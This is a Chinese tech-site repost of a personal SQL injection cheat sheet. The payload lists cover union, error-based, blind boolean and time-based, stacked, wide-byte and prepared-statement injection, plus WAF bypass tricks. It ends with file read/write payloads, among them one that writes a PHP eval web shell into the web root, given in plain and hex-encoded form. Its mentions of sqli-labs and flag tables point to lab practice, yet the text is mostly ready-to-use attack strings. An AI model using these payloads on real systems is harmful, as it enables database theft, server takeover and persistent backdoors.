IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 自己收集的一些常见SQL注入方式(持续更新) -> 正文阅读

[大数据]自己收集的一些常见SQL注入方式(持续更新)

目录

注入点位置及发现

判断输入点是否存在注入测试

数值型:

字符型:

group_concat注入:

union注入:

limit注入:

报错注入:

布尔注入:

时间注入:

堆查询注入:

宽字节注入:

base64注入:

Cookie注入、Referer注入、UA注入、XFF注入

预编译注入:

Handler注入(从表名查询字段名):

SQL绕过WAF

通过SQL语句读写文件


注入点位置及发现:?

  • GET参数注入

  • POST参数注入

  • user-agent注入

  • cookies注入

  • referer注入

  • ...

判断输入点是否存在注入测试:

  • 插入单引号

  • 数字型判断,如1' and '1'='1【目的是为了闭合原语句后方单引号】

  • ...

数值型:

1 union select 1,2,database()

字符型:

1' union select 1,2,database()

group_concat注入:

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

union注入:

1' union select 1,2,database()

limit注入:

1' union select table_name from information_schema.tables where table_schema=database() limit 0,1

报错注入:

updatexml方式:

1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))

查询数据库名称:

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
?
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)

查询表名:

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)

extractvalue方式:

1 and(extractvalue(1, concat(0x7e,(select database()))))

floor方式(查询数据库):

1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from? information_schema.tables group by x)a)%23
?
1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

查询表(以emails举例,emails十六进制编码为656d61696c73)

?1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

floor可以在sqli-labs的level1中复现,phpstudy测试版本为5.4.45+apache

exp:

1 and exp(~(select * from (select database())x))%23

布尔注入:

猜测数据库长度:

1 and length(database())>5

猜测数据库名第一个字符串:

1 and substr(database(),1,1)='s'

猜测数据库表第一个字符串:

1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'

空格过滤查数据库名第一个字符串:

1^(ascii(substr((select(database())),1,1))=ascii('s'))
?
1^(ord(substr((select(database())),1,1))=ascii('s'))

空格过滤查数据库名第二个字符串:

1^(ascii(substr((select(database())),2,1))=ascii('q'))

空格过滤查表名:

1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))
?
1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

时间注入:

1 and if(substr(database(),1,1)='s',sleep(5),1)

堆查询注入:

1;select if(substr(database(),1,1)='s',sleep(5),1)
?
1;show databases;

宽字节注入:

1%df' union select 1,2,database()

base64注入:

https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=

Cookie注入、Referer注入、UA注入、XFF注入

预编译注入:

?1';use sqli;set @sql=concat('se','lect `字段` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#

Handler注入(从表名查询字段名):

1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#


SQL绕过WAF

大小写绕过

1 and 0 Union select 1,2,database()

双写绕过

1 and 0 uunionnion select 1,2,database()

编码绕过

1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()

通过十六进制过滤绕过

1 and 0 union selec\x74 1,2,database()
1 and 0 unio\x6e select 1,2,database()

空格过滤

1/**/and/**/0/**/union/**/select/**/1,2,database()

内敛注释绕过

1 /*!and*/ 1=2

1/*%!"/*/order/*%!"/*/by 3

union/*233*/select/*233*/1,2,database()


通过SQL语句读写文件

注:在mysql用户拥有file权限时,拥有load_file和into outfile/dumpfile进行读写

读取

1 union select load_file('/etc/hosts')

绕过单引号十六进制编码

1 union select load_file(0x2F6574632F686F737473)

写入

1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'

绕过单引号十六进制编码

1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-20 12:33:20  更:2021-10-20 12:33:36 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 3:05:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码